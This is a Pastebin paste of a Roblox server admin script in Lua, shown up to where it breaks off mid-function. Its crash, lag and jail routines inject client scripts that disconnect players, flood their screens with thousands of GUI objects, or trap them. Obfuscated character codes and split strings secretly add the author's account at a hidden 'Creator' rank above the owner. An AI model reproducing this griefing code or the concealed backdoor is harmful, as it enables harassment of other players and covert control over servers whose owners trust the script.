Advertisement
swagergod

de

Apr 19th, 2015
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.61 KB | None | 0 0
  1. wait(0)
  2. script.Parent = nil
  3. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
  4. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  5. --To Open Commands Say "cmds;". The bet key is "!" (Without the "").
  6. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  7.  
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "T0tallyN0tATr0ll"
  13. Removed = false
  14. Bet = ";"
  15. LS = nil
  16. LSSource = nil
  17. OwnSource = nil
  18. FoundLocalScript = false
  19. LogOn = false
  20. Current = game
  21. Clipboard = {}
  22. AlertColor = Color3.new(0, 1, 1)
  23. OptionColor = Color3.new(1, 1, 1)
  24. ImportantColor = Color3.new(1, 0, 1)
  25.  
  26. RankDetails = {
  27. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  28. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  29. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  30. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  31. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  32. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  33. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  34. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  35. [5] = {Name = "Seer", Color = Color3.new(-1, -1, -1), Desc = "God like person"},
  36. }
  37.  
  38. Rankings = {
  39. {Name = "Ethancomputermad", Rank = 4},
  40. {Name = "Abscissa", Rank = 4},
  41. {Name = "Ultimatekiller010", Rank = 3},
  42. {Name = "DrBackstab", Rank = 3},
  43. {Name = "LuaModelMaker", Rank = 3},
  44. {Name = "MakerModelLua", Rank = 3},
  45. {Name = "MrMrLua", Rank = 5},
  46. {Name = "MountainSnow", Rank = 3},
  47. {Name = "Madiik", Rank = 3},
  48. {Name = "dogwarrior24", Rank = 2},
  49. {Name = "ThePC8110", Rank = 2},
  50. {Name = "DEADDEVIL1919", Rank = 2},
  51. {Name = "toshir0z", Rank = 2},
  52. {Name = "Tippee", Rank = 2},
  53. {Name = "Trcker", Rank = 5},
  54. {Name = "nairod7", Rank = 2},
  55. {Name = "12packkid", Rank = 2},
  56. {Name = "TigreBlood", Rank = 2},
  57. {Name = "Frostftw", Rank = -1},
  58. {Name = "DoogleFox", Rank = 2},
  59. {Name = "Aetheus", Rank = 5},
  60. {Name = "Ri1es", Rank = 2},
  61. {Name = "hrocks1", Rank = 2},
  62. {Name = "Zinsei", Rank = 5},
  63. {Name = "ToontownROXYA", Rank = 2},
  64. {Name = "tusKOr661", Rank = 2},
  65. {Name = "Unicornhax", Rank = 1},
  66. {Name = "iMayor", Rank = 1},
  67. {Name = "iMyLittlePony", Rank = 1},
  68. {Name = "xXxkarlxXx", Rank = 1},
  69. {Name = "LightningRoMan", Rank = 1},
  70. {Name = "BrandonFireFlower", Rank = 1},
  71. {Name = "OMGshadeslayer", Rank = -1},
  72. {Name = "xRageBullx", Rank = -1},
  73. {Name = "cobraking123456789", Rank = 5},
  74. {Name = "spacelol123", Rank = 5},
  75. }
  76.  
  77. table.insert(Rankings, {Name = Owner, Rank = 5})
  78.  
  79. ImportantServices = {
  80. "Workspace",
  81. "Players",
  82. "NetworkServer",
  83. "Lighting",
  84. "StarterGui",
  85. "Teams",
  86. "StarterPack",
  87. }
  88.  
  89. Ranks = {}
  90. Commands = {}
  91. AllTabs = {}
  92. Injected = {}
  93.  
  94. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  95. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  96. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  97. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  98. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  99. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  100. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  101. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  102. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  103. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  104. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  105. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  106. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  107. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  108. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  109. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  110. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  111. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  112. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  113. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  114. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  115. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  116. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  117. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  118. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  119. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  120. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  121. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  122. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  123. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  124. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  125. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  126. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  127. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  128. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  129. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  130. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  131. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  132. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  133. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  134. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  135. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  136. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  137. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  138. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  139. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  140. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  141. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  142. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  143. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  144. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  145. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  146. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  147. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  148. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  149. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  150. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  151. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  152. "X","Y"}
  153.  
  154. --Main Functions And Sources
  155.  
  156. function Insert(Source, Par, Par2, Par3)
  157. ypcall(function()
  158. local Inserted = LS:Clone()
  159. Inserted.Disabled = true
  160. Inserted.Parent = Par or Par2 or Par3
  161. Inserted[LSSource].Value = Source
  162. Inserted.Disabled = false
  163. end)
  164. end
  165.  
  166. function CheckImportant(Name)
  167. for _,v in pairs(ImportantServices) do
  168. if v:lower() == Name:lower() then
  169. return true
  170. end
  171. end
  172. return false
  173. end
  174.  
  175. function Crash1(Plr)
  176. ypcall(function()
  177. Plr:Kick()
  178. end)
  179. end
  180.  
  181. function GetRankTab()
  182. return Rankings
  183. end
  184.  
  185. function Crash2(Name)
  186. local Crasher = Instance.new("StringValue")
  187. Crasher.Name = "Client"
  188. Crasher.Value = string.lower(tostring(Name))
  189. Crasher.Parent = game:GetService("Lighting")
  190. wait(1)
  191. if Crasher and Crasher.Parent then
  192. ypcall(function()
  193. Crasher:Destroy()
  194. end)
  195. end
  196. end
  197.  
  198. function Crash3(v, Speaker)
  199. Speaker.Character.Archivable = true
  200. local NChar = Speaker.Character:Clone()
  201. NChar.Name = v.Name
  202. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  203. NChar.Parent = Workspace
  204. v.Character = NChar
  205. coroutine.resume(coroutine.create(function()
  206. repeat v.Character = NChar
  207. wait(1/3) until false
  208. end))
  209. wait(.5)
  210. Insert(InsertCrash, NChar, nil, nil)
  211. end
  212.  
  213. function GenerateDigit()
  214. return 1 + 5
  215. end
  216.  
  217. InjectionCrash = [=[
  218. wait(0)
  219. script.Parent = nil
  220. local Lig = game:GetService("Lighting")
  221. local LP = game:GetService("Players").LocalPlayer
  222. local LowerName = LP.Name:lower()
  223.  
  224. Lig.ChildAdded:connect(function(Obj)
  225. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  226. pcall(function()
  227. Obj:Destroy()
  228. end)
  229. LP.Parent = nil
  230. LP.Parent = game:GetService("Players")
  231. end
  232. end)
  233. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  234.  
  235. InsertCrash = [==[
  236. local LP = game:GetService("Players").LocalPlayer
  237. LP.Parent = nil
  238. LP.Parent = game:GetService("Players")
  239. ]==]
  240.  
  241. LagSource = [==[
  242. wait(0)
  243. script.Parent = nil
  244. plr = game:GetService("Players").LocalPlayer
  245. local plrgui = plr:findFirstChild("PlayerGui")
  246. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  247. while plr.Parent == game:GetService("Players") do
  248. wait()
  249. for i = 1, 1000 do
  250. local sc = Instance.new("ScreenGui",plrgui)
  251. local fr = Instance.new("TextLabel",sc)
  252. fr.Text = "LAGGING"
  253. fr.Size = UDim2.new(1, 0, 1, 0)
  254. fr.FontSize = "Size48"
  255. end
  256. end
  257. ]==]
  258.  
  259. MuteSource = [==[
  260. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  261. ]==]
  262.  
  263. UnMuteSource = [==[
  264. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  265. ]==]
  266.  
  267. JailSource = [==[
  268. wait(0)
  269. script.Parent = nil
  270.  
  271. local LP = game:GetService("Players").LocalPlayer
  272. Middle2 = nil
  273. Middle = nil
  274. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  275.  
  276. Cons = {}
  277.  
  278. function makePrison()
  279. for _,v in pairs(Cons) do
  280. v:disconnect()
  281. end
  282. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  283. if Middle == nil then
  284. Middle2 = LP.Character.Torso.Position
  285. Middle = LP.Character.Torso.CFrame
  286. end
  287. local side1 = Instance.new("Part")
  288. side1.Name = "¬Focus1¬"
  289. side1.Size = Vector3.new(20, 50, 1)
  290. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  291. side1.BrickColor = BrickColor.new("Really black")
  292. side1.CanCollide = true
  293. side1.Anchored = true
  294. side1.TopSurface = "Smooth"
  295. side1.BottomSurface = "Smooth"
  296. side1.Parent = game:GetService("Workspace").CurrentCamera
  297.  
  298. local side2 = Instance.new("Part")
  299. side2.Name = "¬Focus2¬"
  300. side2.Size = Vector3.new(20, 50, 1)
  301. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  302. side2.BrickColor = BrickColor.new("Really black")
  303. side2.CanCollide = true
  304. side2.Anchored = true
  305. side2.TopSurface = "Smooth"
  306. side2.BottomSurface = "Smooth"
  307. side2.Parent = game:GetService("Workspace").CurrentCamera
  308.  
  309. local side3 = Instance.new("Part")
  310. side3.Name = "¬Focus3¬"
  311. side3.Size = Vector3.new(1, 50, 20)
  312. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  313. side3.BrickColor = BrickColor.new("Really black")
  314. side3.CanCollide = true
  315. side3.Anchored = true
  316. side3.TopSurface = "Smooth"
  317. side3.BottomSurface = "Smooth"
  318. side3.Parent = game:GetService("Workspace").CurrentCamera
  319.  
  320. local side4 = Instance.new("Part")
  321. side4.Name = "¬Focus4¬"
  322. side4.Size = Vector3.new(1, 50, 20)
  323. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  324. side4.BrickColor = BrickColor.new("Really black")
  325. side4.CanCollide = true
  326. side4.Anchored = true
  327. side4.TopSurface = "Smooth"
  328. side4.BottomSurface = "Smooth"
  329. side4.Parent = game:GetService("Workspace").CurrentCamera
  330.  
  331. local side5 = Instance.new("Part")
  332. side5.Name = "¬Focus5¬"
  333. side5.Size = Vector3.new(20, 1, 20)
  334. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  335. side5.BrickColor = BrickColor.new("Really black")
  336. side5.CanCollide = true
  337. side5.Anchored = true
  338. side5.TopSurface = "Smooth"
  339. side5.BottomSurface = "Smooth"
  340. side5.Parent = game:GetService("Workspace").CurrentCamera
  341.  
  342. wait(0)
  343.  
  344. table.insert(Cons, side1.Changed:connect(makePrison))
  345. table.insert(Cons, side2.Changed:connect(makePrison))
  346. table.insert(Cons, side3.Changed:connect(makePrison))
  347. table.insert(Cons, side4.Changed:connect(makePrison))
  348. table.insert(Cons, side5.Changed:connect(makePrison))
  349. end
  350.  
  351. Delay(0, function()
  352. while wait(0) do
  353. ypcall(function()
  354. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  355. LP.Character:BreakJoints()
  356. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  357. makePrison()
  358. end
  359. end)
  360. ypcall(function()
  361. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  362. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  363. end
  364. end)
  365. end
  366. end)
  367. ]==]
  368.  
  369. function All()
  370. local AllPlayers = {}
  371. for _,v in pairs(Plrs:GetPlayers()) do
  372. ypcall(function()
  373. table.insert(AllPlayers, v)
  374. end)
  375. end
  376. return AllPlayers
  377. end
  378.  
  379. function All2()
  380. local AllPlayers2 = {}
  381. for i,v in pairs(Net:GetChildren()) do
  382. ypcall(function()
  383. if v:IsA("ServerReplicator") then
  384. table.insert(AllPlayers2, v:GetPlayer())
  385. end
  386. end)
  387. end
  388. return AllPlayers2
  389. end
  390.  
  391. function MakeNum()
  392. return 2 + 4
  393. end
  394.  
  395. function ChangeRank(Plr, NewRank)
  396. local PlrName = nil
  397. local FoundPlayer = false
  398. ypcall(function()
  399. if type(Plr) == "string" then
  400. ypcall(function()
  401. for i,v in pairs(Rankings) do
  402. if v.Name:lower() == Plr:lower() then
  403. local VName = v.Name
  404. Rankings[i] = nil
  405. table.insert(Rankings, {Name = VName, Rank = NewRank})
  406. PlrName = VName
  407. FoundPlayer = true
  408. break
  409. end
  410. end
  411. end)
  412. if FoundPlayer == false then
  413. ypcall(function()
  414. for _,x in pairs(All()) do
  415. if x.Name:lower() == Plr:lower() then
  416. FoundPlayer = true
  417. for i,v in pairs(Rankings) do
  418. if v.Name:lower() == x.Name:lower() then
  419. local VName = x.Name
  420. Rankings[i] = nil
  421. PlrName = VName
  422. break
  423. end
  424. end
  425. table.insert(Rankings, {Name = VName, Rank = NewRank})
  426. end
  427. end
  428. end)
  429. end
  430. if FoundPlayer == false then
  431. ypcall(function()
  432. for _,x in pairs(All()) do
  433. if string.find(x.Name:lower(), Plr:lower()) then
  434. FoundPlayer = true
  435. for i,v in pairs(Rankings) do
  436. if v.Name:lower() == x.Name:lower() then
  437. local VName = x.Name
  438. Rankings[i] = nil
  439. PlrName = VName
  440. break
  441. end
  442. end
  443. table.insert(Rankings, {Name = VName, Rank = NewRank})
  444. end
  445. end
  446. end)
  447. end
  448. if FoundPlayer == false then
  449. ypcall(function()
  450. for i,v in pairs(Rankings) do
  451. if string.find(v.Name:lower(), Plr:lower()) then
  452. local VName = v.Name
  453. Rankings[i] = nil
  454. table.insert(Rankings, {Name = VName, Rank = NewRank})
  455. PlrName = VName
  456. FoundPlayer = true
  457. break
  458. end
  459. end
  460. end)
  461. end
  462. else
  463. for i,v in pairs(Rankings) do
  464. if v.Name:lower() == Plr.Name:lower() then
  465. Rankings[i] = nil
  466. break
  467. end
  468. end
  469. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  470. PlrName = Plr.Name
  471. end
  472. PlaceAllRanks(true)
  473. end)
  474. if PlrName ~= nil then
  475. return PlrName
  476. else
  477. return "Player"
  478. end
  479. end
  480.  
  481. function Refresh(Plr)
  482. MakeChildren(Plr)
  483. end
  484.  
  485. function MakeChildren(Plr)
  486. ypcall(function()
  487. Dismiss(Plr)
  488. for _,v in pairs(Current:GetChildren()) do
  489. ypcall(function()
  490. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  491. Ping(v.Name, Plr, nil, function(TabMod)
  492. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  493. for _,v in pairs(Current:GetChildren()) do
  494. ypcall(function()
  495. if v.Name == TabText then
  496. Dismiss(Plr)
  497. Current = v
  498. MakeChildren(Plr)
  499. end
  500. end)
  501. end
  502. end)
  503. elseif Plrs:GetPlayerFromCharacter(v) then
  504. Ping(v.Name, Plr, nil, function(TabMod)
  505. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  506. for _,v in pairs(Current:GetChildren()) do
  507. ypcall(function()
  508. if v.Name == TabText then
  509. Dismiss(Plr)
  510. Current = v
  511. MakeChildren(Plr)
  512. end
  513. end)
  514. end
  515. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  516. elseif CheckImportant(v.Name) then
  517. Ping(v.Name, Plr, nil, function(TabMod)
  518. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  519. for _,v in pairs(Current:GetChildren()) do
  520. ypcall(function()
  521. if v.Name == TabText then
  522. Dismiss(Plr)
  523. Current = v
  524. MakeChildren(Plr)
  525. end
  526. end)
  527. end
  528. end, ImportantColor)
  529. end
  530. end)
  531. end
  532. if Current ~= game then
  533. Ping("Back", Plr, nil, function()
  534. ypcall(function()
  535. Current = Current.Parent
  536. MakeChildren(Plr)
  537. Ping("You Are Back To "..Current.Name, Plr, 5)
  538. end)
  539. end, OptionColor)
  540. end
  541. if Current ~= game then
  542. Ping("Delete", Plr, nil, function()
  543. ypcall(function()
  544. local CurrPar = Current.Parent or game
  545. local CurrName = Current.Name
  546. Current:Destroy()
  547. Current = CurrPar
  548. MakeChildren(Plr)
  549. Ping("Attempted To Delete "..CurrName, Plr, 5)
  550. end)
  551. end, OptionColor)
  552. end
  553. Ping("Refresh", Plr, nil, function()
  554. ypcall(function()
  555. Refresh(Plr)
  556. Ping("Refreshed", Plr, 5)
  557. end)
  558. end, OptionColor)
  559. Ping("Properties", Plr, nil, function()
  560. ypcall(function()
  561. Dismiss(Plr)
  562. for Property, Value in pairs(GetProperties(Current)) do
  563. Ping(tostring(Property)..": "..tostring(Value), Plr)
  564. end
  565. Ping("Got All Available Properties", Plr, 5)
  566. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  567. end)
  568. end, OptionColor)
  569. end)
  570. end
  571.  
  572. function Fixl()
  573. Light.GlobalShadows = true
  574. Light.TimeOfDay = "14:00:00"
  575. Light.Brightness = 0.5
  576. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  577. Light.Ambient = Color3.new(1, 1, 1)
  578. Light.ColorShift_Top = Color3.new(0, 0, 0)
  579. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  580. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  581. Light.FogStart = 0
  582. Light.FogEnd = 100000
  583. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  584. Light:ClearAllChildren()
  585. end
  586.  
  587. function GetProperties(obj)
  588. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  589. local objProper = {}
  590. for i,v in pairs(Properties) do
  591. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  592. objProper[v] = obj[v]
  593. end
  594. end
  595. return objProper
  596. end
  597.  
  598. function MakeExplorer(Plr)
  599. Dismiss(Plr)
  600. Current = game
  601. for _,v in pairs(Current:GetChildren()) do
  602. ypcall(function()
  603. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  604. Ping(v.Name, Plr, nil, function(TabMod)
  605. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  606. for _,v in pairs(Current:GetChildren()) do
  607. ypcall(function()
  608. if v.Name == TabText then
  609. Dismiss(Plr)
  610. Current = v
  611. MakeChildren(Plr)
  612. end
  613. end)
  614. end
  615. end)
  616. elseif Plrs:GetPlayerFromCharacter(v) then
  617. Ping(v.Name, Plr, nil, function(TabMod)
  618. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  619. for _,v in pairs(Current:GetChildren()) do
  620. ypcall(function()
  621. if v.Name == TabText then
  622. Dismiss(Plr)
  623. Current = v
  624. MakeChildren(Plr)
  625. end
  626. end)
  627. end
  628. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  629. elseif CheckImportant(v.Name) then
  630. Ping(v.Name, Plr, nil, function(TabMod)
  631. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  632. for _,v in pairs(Current:GetChildren()) do
  633. ypcall(function()
  634. if v.Name == TabText then
  635. Dismiss(Plr)
  636. Current = v
  637. MakeChildren(Plr)
  638. end
  639. end)
  640. end
  641. end, ImportantColor)
  642. end
  643. end)
  644. end
  645. if Current ~= game then
  646. Ping("Back", Plr, nil, function()
  647. ypcall(function()
  648. Current = Current.Parent
  649. MakeChildren(Plr)
  650. Ping("Back In "..Current.Name, Plr, 5)
  651. end)
  652. end, OptionColor)
  653. end
  654. if Current ~= game and game:GetService(Current.Name) == nil then
  655. Ping("Delete", Plr, nil, function()
  656. ypcall(function()
  657. local CurrPar = Current.Parent or game
  658. local CurrName = Current.Name
  659. Current:Destroy()
  660. Current = CurrPar
  661. MakeChildren(Plr)
  662. Ping("Attempted To Delete "..CurrName, Plr, 5)
  663. end)
  664. end, OptionColor)
  665. end
  666. Ping("Refresh", Plr, nil, function()
  667. ypcall(function()
  668. Refresh(Plr)
  669. Ping("Refreshed", Plr, 5)
  670. end)
  671. end, OptionColor)
  672. Ping("Properties", Plr, nil, function()
  673. ypcall(function()
  674. Dismiss(Plr)
  675. for Property, Value in pairs(GetProperties(Current)) do
  676. Ping(tostring(Property)..": "..tostring(Value), Plr)
  677. end
  678. Ping("Got All Available Properties", Plr, 5)
  679. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  680. end)
  681. end, OptionColor)
  682. end
  683.  
  684. function GetRank(Plr1, Test)
  685. ypcall(function()
  686. if type(Plr1) == "userdata" then
  687. Plr1 = Plr1.Name
  688. end
  689. end)
  690. if Ranks[Plr1] ~= nil then
  691. return Ranks[Plr1]
  692. end
  693. local QuickArray = {}
  694. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  695. return QuickArray[Plr1]
  696. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  697.  
  698. function CanRun(Plr1, Plr2)
  699. Details1 = GetRank(Plr1.Name)
  700. Details2 = GetRank(Plr2.Name)
  701. if Details1.Rank >= Details2.Rank then
  702. return true
  703. end
  704. return false
  705. end
  706.  
  707. function Dismiss(Plr, Identity)
  708. ypcall(function()
  709. if Plr ~= nil then
  710. if type(Plr) == "userdata" then
  711. Plr = Plr.Name
  712. end
  713. for x,v in pairs(AllTabs) do
  714. ypcall(function()
  715. if v.Plr == Plr then
  716. if Identity ~= nil and v.ID ~= Identity then
  717. return
  718. elseif Identity ~= nil and v.ID == Identity then
  719. coroutine.resume(coroutine.create(function()
  720. for i = 0.5, 1, 0.1 do
  721. wait()
  722. v.Tab.Transparency = i
  723. v.Sel.Transparency = i
  724. v.Label.TextTransparency = i
  725. v.Label.TextStrokeTransparency = i
  726. end
  727. ypcall(function() v.Holder:Destroy() end)
  728. AllTabs[x] = nil
  729. end))
  730. elseif Identity == nil then
  731. ypcall(function() v.Holder:Destroy() end)
  732. AllTabs[x] = nil
  733. end
  734. end
  735. end)
  736. end
  737. else
  738. for i,v in pairs(AllTabs) do
  739. ypcall(function()
  740. v.Holder:Destroy()
  741. AllTabs[i] = nil
  742. end)
  743. end
  744. end
  745. end)
  746. end
  747.  
  748. function GetGarbage()
  749. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  750. end
  751.  
  752. function RemObj(Obj, Class)
  753. ypcall(function()
  754. if #Obj:GetChildren() > 0 then
  755. for _,x in pairs(Obj:GetChildren()) do
  756. ypcall(function()
  757. RemObj(x, Class)
  758. end)
  759. end
  760. end
  761. if Obj.ClassName == Class then
  762. Obj:Destroy()
  763. end
  764. end)
  765. end
  766.  
  767. function FindTab(Mod)
  768. for i,v in pairs(AllTabs) do
  769. if v.Holder == Mod then
  770. return true
  771. end
  772. end
  773. return false
  774. end
  775.  
  776. function Ping(Msg, Plr, Time, Func, Color, Image)
  777. if Removed == false then
  778. local ShowGarbage = false
  779. ypcall(function()
  780. if Msg == nil then
  781. Msg = "N/A"
  782. elseif Msg == "ShowGarbage" then
  783. Msg = "Current Garbage Count: "..GetGarbage()
  784. ShowGarbage = true
  785. else
  786. Msg = tostring(Msg)
  787. end
  788. if Plr == nil then
  789. Plr = Plrs[Owner] or error("No Player Found")
  790. elseif type(Plr) == "string" then
  791. local FoundPlr = false
  792. for _,v in pairs(All()) do
  793. if v.Name == Plr then
  794. Plr = v
  795. FoundPlr = true
  796. break
  797. end
  798. end
  799. if FoundPlr == false then
  800. Plr = Plrs[Owner] or error("No Player Found")
  801. end
  802. end
  803.  
  804. if Color == nil then
  805. Color = GetRank(Plr.Name).Color
  806. end
  807.  
  808. local Holder = Instance.new("Model")
  809. Holder.Name = "DVF Holder: "..Plr.Name
  810.  
  811. local Tab = Instance.new("Part")
